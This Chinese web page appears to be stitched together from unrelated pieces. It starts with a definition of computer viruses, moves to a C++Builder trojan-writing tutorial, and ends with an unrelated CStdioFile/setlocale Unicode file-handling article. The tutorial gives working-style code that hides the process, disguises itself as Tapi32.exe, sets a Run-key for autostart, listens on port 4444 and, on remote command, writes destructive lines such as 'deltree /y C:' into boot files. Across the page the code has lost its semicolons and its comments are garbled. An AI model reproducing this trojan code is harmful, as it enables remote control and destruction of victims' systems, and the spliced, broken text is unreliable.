计算机病毒的实质是什么，你有去了解过吗?下面由我给你做出详细的计算机病毒实质说明介绍!希望对你有帮助!
计算机病毒实质说明一：
计算机病毒(ComputerVirus)实质：是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。计算机病毒是指能够影响破坏计算机正常工作的、人为编制的、可自我复制的一组计算机指令或程序。
(注：《中华人民共和国计算机信息 系统安全 保护条例》)
计算机病毒利用系统硬件或软件的缺陷进入计算机中，通过不断地自身复制，占据存储空间，影响或降低计算机性能、破坏或使其瘫痪。此外，计算机病毒还可以将自身附着在不同类型的文件上，使其作为病毒的载体，通过染毒文件的传播与传送，达到破坏计算机文件和系统的目的，给计算机用户带来麻烦，造成其信息财产的巨大损失。
计算机病毒实质说明二：
木马一定是由两部分组成——服务器程序(Server)和客户端程序裤薯灶(Client)，服务器负责打开攻击的道路，就像一个内奸特务客户端负责攻击目标，两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流胡扮行的开发工具有C++Builder、VC、VB和Delphi，这里我们选用C++Builder(以下简称BCB)VC虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上，我们选用可视化的BCBDelphi也不错，但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码，是VC编写的，网上俯拾皆是)VB嘛，手悔谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?
启动C++Builder 5.0企业版，新建一个工程，添加三个VCL控件：一个是Internet页中的Server Socket，另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序，可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的，后来微软将它引入了Windows中(包括Win98和WinNt)后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的，这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大)，而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form，首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的 *** 作系统 是Win9x还是WinNt：
{
DWORD dwVersion = GetVersion()
// 得到 *** 作系统的版本号
if (dwVersion >= 0x80000000)
// *** 作系统是Win9x，不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD)
file://定/义RegisterServiceProcess()函数的原型
HINSTANCE hDLL
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess
hDLL = LoadLibrary("KERNEL32")
file://加/载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess")
file://得/到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1)
file://执/行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL)
file://卸/载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断 *** 作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余，因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 方法 ，这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下，例如：
C:\Windows\System，并修改注册表，以便启动时自动加载：
{
char TempPath[MAX_PATH]
file://定/义一个变量
GetSystemDirectory(TempPath ,MAX_PATH)
file://TempPath/是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径
SystemPath=AnsiString(TempPath)
file://格/式化TempPath字符串，使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE)
file://将/自己拷贝到%System%目录下，并改名为Tapi32.exe，伪装起来
Registry=new TRegistry
file://定/义一个TRegistry对象，准备修改注册表，这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE
file://设/置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE)
file://打/开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就创建之
try
{
file://如/果以下语句发生异常，跳至catch，以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe")
file://查/找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi32.exe
file://如/果不是，就写入以上键值和内容
}
catch(...)
{
file://如/果有错误，什么也不做
}
}
好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi32.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。
接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入4444，这是木马的端 口号 ，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口(不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议的专用控制端口(FTP Control Port)同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：
{
FILE *fp=NULL
char * content
int times_of_try
char TempFile[MAX_PATH]
file://定/义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str())
file://在%System%下/建立一个文本文件Win369.bat，作为临时文件使用
AnsiString temp=Socket->ReceiveText()
file://接/收客户端(攻击者，也就是你自己)传来的数据
}
好，大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧：
{
if(temp.SubString(0,9)=="edit conf")
file://如/果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length()
file://得/到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str())
file://将/第11个字符转换成integer型，存入file_name变量
file://为/什么要取第11个字符，因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str()
file://余/下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL
char filename[20]
chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE)
chmod("c:\\config.sys",S_IREAD|S_IWRITE)
file://将/两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat")
file://如/果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys")
file://如/果第11个字符是1,就把Config.sys格式化
times_of_try=0
file://定/义计数器
while(fp==NULL)
{
file://如/果指针是空
fp=fopen(filename,"a+")
file://如/果文件不存在，创建之如果存在，准备在其后添加
file://如/果出错，文件指针为空，这样就会重复
times_of_try=times_of_try+1
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了，仍未成功
Socket->SendText("Fail By Open File")
file://就/发回“Fail By Open File”的错误信息
goto END
file://跳/至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp)
file://写/入添加的语句，例如deltree/y C:或者format/q/autotest C:，够毒吧?!
fclose(fp)
file://写/完后关闭目标文件
Socket->SendText("Sucess")
file://然/后发回“Success”的成功信息
}
}
你现在可以通过网络来察看目标机上的这两个文件了，并且还可以向里面随意添加任何命令。
以下代码文件以CStdioFile向无法向文本中写入中文（用notepad.exe查看不到写入的中文）
CStdioFile file
file.Open(…)
file.WriteString(_T("abc你好"))//只能写入abc
解决办法：
使用setlocale语句设定区域
#include <locale>//头文件
CStdioFile file
file.Open(…)
char* old_locale = _strdup( setlocale(LC_CTYPE,NULL) )
setlocale( LC_CTYPE, "chs" )//设定
file.WriteString(_T("abc你好"))//正常写入
setlocale( LC_CTYPE, old_locale )
free( old_locale )//还原区域设定
简化处理可以仅使用语句setlocale( LC_CTYPE, "chs" )。
setlocale:
函数原形为：char *setlocale( int category, const char *locale )
头文件：<locale.h>
所支持的 *** 作系统为:ANSI, Win 95, Win NT
对于简体中文可以使用如下设置：setlocale( LC_ALL, "chs" )
为什么一定要调用setlocale呢？
因为在C/C++语言标准中定义了其运行时的字符集环境为"C"，也就是ASCII字符集的一个子集，那么mbstowcs在工作时会将cstr中所包含的字符串看作是ASCII编码的字符，而不认为是一个包含有chs编码的字符串，所以他会将每一个中文拆成2个ASCII编码进行转换，这样得到的结果就是会形成4个wchar_t的字符组成的串，那么如何才能够让mbstowcs正常工作呢？在调用mbstowcs进行转换之间必须明确液亮的告诉mbstowcs目前cstr串中包含的是chs编码的字符串，通过setlocale( LC_ALL, "chs" )函数调用来完成，需要注意的是这个函数会改变整个应用搜碰程序的字符集编码方式，必须要通过重新调用setlocale( LC_ALL, "C" )函数来还原，这样就可以保证mbstowcs在转换时将cstr中的串看作是中文串，并且转换成为2个wchar_t字符，而不是4个。
本地化设置需要具备三个条件：
a. 语言代码 (Language Code)
b. 国家代码 (Country Code)
c. 编码(Encoding)
本地名字可以用下面这些部分来构造：
语言代码_国家代码.编码 比如（zh_CN.UTF-8, en_US等）
locale的别名表见 /usr/lib/X11/locale/locale.alias(以Debian GNU/Linux为例)
setlocale语言字符串参考
本文来自CSDN博客，转载请标明出处：http://blog.csdn.net/ALENTAM/archive/2008/04/11/2281121.aspx
另外还有一种方法就是重新写CStdioFile的派生类CStdioFileEx（网上有世埋谈）。
//好像C++中没有类能够读些Unicode格式的文本文件，所以我写了下面这个类。用法很简单，大家尝试几下就明白了。
#pragma once
class CStdioFileEx: public CStdioFile
{
public:
CStdioFileEx()
CStdioFileEx( LPCTSTR lpszFileName, UINT nOpenFlags )
virtual BOOL Open( LPCTSTR lpszFileName, UINT nOpenFlags, CFileException* pError = NULL )
virtual BOOL ReadString(CString&rString)
BOOL ReadWideString(CStringW&rString)
BOOL ReadAnsiString(CStringA&rString)
virtual void WriteString(LPCTSTR lpsz)
void WriteWideString(LPCWSTR lpsz)
void WriteAnsiString(LPCSTR lpsz)
bool IsUnicodeFormat() {return m_bIsUnicodeText}
unsigned long GetCharCount()
// Additional flag to allow Unicode text format writing
enum {modeWriteUnicode = 0x100000}
static bool IsFileUnicode(const CString&sFilePath)
protected:
UINT PreprocessFlags(const CString&sFilePath, UINT&nOpenFlags)
boolm_bIsUnicodeText
}
//。cpp文件
#include "stdafx.h"
#include "StdioFileEx.h"
//在UCS 编码中有一个叫做"ZERO WIDTH NO-BREAK SPACE"的字符，它的编码是FEFF。而FFFE在UCS中是不存在的字符，
//所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前，先传输字符"ZERO WIDTH NO-BREAK SPACE"。这样
//如果接收者收到FEFF，就表明这个字节流是Big-Endian的；如果收到FFFE，就表明这个字节流是Little-Endian的。
//因此字符"ZERO WIDTH NO-BREAK SPACE"又被称作BOM。
//UTF-8不需要BOM来表明字节顺序，但可以用BOM来表明编码方式。字符"ZERO WIDTH NO-BREAK SPACE"的UTF-8编码是
//EF BB BF。所以如果接收者收到以EF BB BF开头的字节流，就知道这是UTF-8编码了。
//Windows就是使用BOM来标记文本文件的编码方式的。
//有些老的浏览器和文本编辑器不支持BOM。
#define UNICODE_BOM0xFEFF//Unicode "byte order mark" which goes at start of file
CStdioFileEx::CStdioFileEx(): CStdioFile()
{
m_bIsUnicodeText = false
}
CStdioFileEx::CStdioFileEx(LPCTSTR lpszFileName,UINT nOpenFlags)
:CStdioFile(lpszFileName, PreprocessFlags(lpszFileName, nOpenFlags))
{
}
BOOL CStdioFileEx::Open(LPCTSTR lpszFileName,UINT nOpenFlags,CFileException* pError /*=NULL*/)
{
PreprocessFlags(lpszFileName, nOpenFlags)
return CStdioFile::Open(lpszFileName, nOpenFlags, pError)
}
BOOL CStdioFileEx::ReadString(CString&rString)
{
#ifdef _UNICODE
return ReadWideString(rString)
#else
return ReadAnsiString(rString)
#endif
}
BOOL CStdioFileEx::ReadWideString(CStringW&rString)
{
_ASSERTE(m_pStream)
rString = L"" // empty string without deallocating
if(m_bIsUnicodeText)
{
// If at position 0, discard byte-order mark before reading
if(GetPosition() == 0)
{
wchar_t bom
Read(&bom, sizeof(wchar_t))
}
const int nMaxSize = 128
LPWSTR lpsz = rString.GetBuffer(nMaxSize)
LPWSTR lpszResult
int nLen = 0
for ()
{
lpszResult = fgetws(lpsz, nMaxSize+1, m_pStream)
rString.ReleaseBuffer()
// handle error/eof case
if (lpszResult == NULL &&!feof(m_pStream))
{
Afx_clearerr_s(m_pStream)
AfxThrowFileException(CFileException::genericException, _doserrno,
m_strFileName)
}
// if string is read completely or EOF
if (lpszResult == NULL ||
(nLen = (int)lstrlenW(lpsz)) <nMaxSize ||
lpsz[nLen-1] == '\n')
break
nLen = rString.GetLength()
lpsz = rString.GetBuffer(nMaxSize + nLen) + nLen
}
//remove crlf if exist.
nLen = rString.GetLength()
if (nLen >1 &&rString.Mid(nLen-2) == L"\r\n")
{
rString.GetBufferSetLength(nLen-2)
}
return rString.GetLength() >0
}
else
{
CStringA ansiString
BOOL bRetval = ReadAnsiString(ansiString)
//setlocale(LC_ALL, "chs_chn.936")//no need
rString = ansiString
return bRetval
}
}
BOOL CStdioFileEx::ReadAnsiString(CStringA&rString)
{
_ASSERTE(m_pStream)
rString = "" // empty string without deallocating
if(!m_bIsUnicodeText)
{
const int nMaxSize = 128
LPSTR lpsz = rString.GetBuffer(nMaxSize)
LPSTR lpszResult
int nLen = 0
for ()
{
lpszResult = fgets(lpsz, nMaxSize+1, m_pStream)
rString.ReleaseBuffer()
// handle error/eof case
if (lpszResult == NULL &&!feof(m_pStream))
{
Afx_clearerr_s(m_pStream)
AfxThrowFileException(CFileException::genericException, _doserrno,
m_strFileName)
}
// if string is read completely or EOF
if (lpszResult == NULL ||
(nLen = (int)lstrlenA(lpsz)) <nMaxSize ||
lpsz[nLen-1] == '\n')
break
nLen = rString.GetLength()
lpsz = rString.GetBuffer(nMaxSize + nLen) + nLen
}
//remove crlf if exist.
nLen = rString.GetLength()
if (nLen >1 &&rString.Mid(nLen-2) == "\r\n")
{
rString.GetBufferSetLength(nLen-2)
}
return rString.GetLength() >0
}
else
{
CStringW wideString
BOOL bRetval = ReadWideString(wideString)
//setlocale(LC_ALL, "chs_chn.936")//no need
rString = wideString
return bRetval
}
}
// Purpose:Writes string to file either in Unicode or multibyte, depending on whether the caller specified the
// CStdioFileEx::modeWriteUnicode flag. Override of base class function.
void CStdioFileEx::WriteString(LPCTSTR lpsz)
{
#ifdef _UNICODE
WriteWideString(lpsz)
#else
WriteAnsiString(lpsz)
#endif
}
void CStdioFileEx::WriteWideString(LPCWSTR lpsz)
{
ASSERT(lpsz != NULL)
if (lpsz == NULL)
{
AfxThrowInvalidArgException()
}
if(m_bIsUnicodeText)
{
ASSERT(m_pStream != NULL)
// If writing Unicode and at the start of the file, need to write byte mark
if(GetPosition() == 0)
{
wchar_t cBOM = (wchar_t)UNICODE_BOM
CFile::Write(&cBOM, sizeof(wchar_t))
}
if (fputws(lpsz, m_pStream) == _TEOF)
AfxThrowFileException(CFileException::diskFull, _doserrno, m_strFileName)
}
else
{
USES_CONVERSION
WriteAnsiString(CW2A(lpsz))
}
}
void CStdioFileEx::WriteAnsiString(LPCSTR lpsz)
{
ASSERT(lpsz != NULL)
if (lpsz == NULL)
{
AfxThrowInvalidArgException()
}
if(!m_bIsUnicodeText)
{
ASSERT(m_pStream != NULL)
if (fputs(lpsz, m_pStream) == _TEOF)
AfxThrowFileException(CFileException::diskFull, _doserrno, m_strFileName)
}
else
{
USES_CONVERSION
WriteWideString(CA2W(lpsz))
}
}
UINT CStdioFileEx::PreprocessFlags(const CString&sFilePath, UINT&nOpenFlags)
{
m_bIsUnicodeText = false
// If we have writeUnicode we must have write or writeRead as well
if (nOpenFlags &CStdioFileEx::modeWriteUnicode)
{
ASSERT(nOpenFlags &CFile::modeWrite || nOpenFlags &CFile::modeReadWrite)
m_bIsUnicodeText = true
}
// If reading in text mode and not creating...
else if (nOpenFlags &CFile::typeText &&!(nOpenFlags &CFile::modeCreate) &&!(nOpenFlags &CFile::modeWrite ))
{
m_bIsUnicodeText = IsFileUnicode(sFilePath)
}
//如果要读写Unicode格式的文本文件, 必须切换到typeBinary方式, 因为这会影响fputws/fgetws的工作方式(具体情况参考MSDN)。
if (m_bIsUnicodeText)
{
nOpenFlags &= ~(CFile::typeText)
nOpenFlags |= CFile::typeBinary
}
return nOpenFlags
}
// Purpose:Determines whether a file is Unicode by reading the first character and detecting
// whether it's the Unicode byte marker.
bool CStdioFileEx::IsFileUnicode(const CString&sFilePath)
{
CFile file
wchar_t cFirstChar
CFileException exFile
bool bIsUnicode = false
// Open file in binary mode and read first character
if (file.Open(sFilePath, CFile::typeBinary | CFile::modeRead, &exFile))
{
// If byte is Unicode byte-order marker, let's say it's Unicode
if (file.Read(&cFirstChar, sizeof(wchar_t)) >0 &&cFirstChar == (wchar_t)UNICODE_BOM)
{
bIsUnicode = true
}
file.Close()
}
else
{
// Handle error here if you like
}
return bIsUnicode
}
unsigned long CStdioFileEx::GetCharCount()
{
int nCharSize
unsigned long nByteCount, nCharCount = 0
if (m_pStream)
{
// Get size of chars in file
nCharSize = m_bIsUnicodeText ? sizeof(wchar_t): sizeof(char)
// If Unicode, remove byte order mark from count
nByteCount = (unsigned long)GetLength()
if (m_bIsUnicodeText)
{
nByteCount = nByteCount - sizeof(wchar_t)
}
// Calc chars
nCharCount = (nByteCount / nCharSize)
}
return nCharCount
}
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）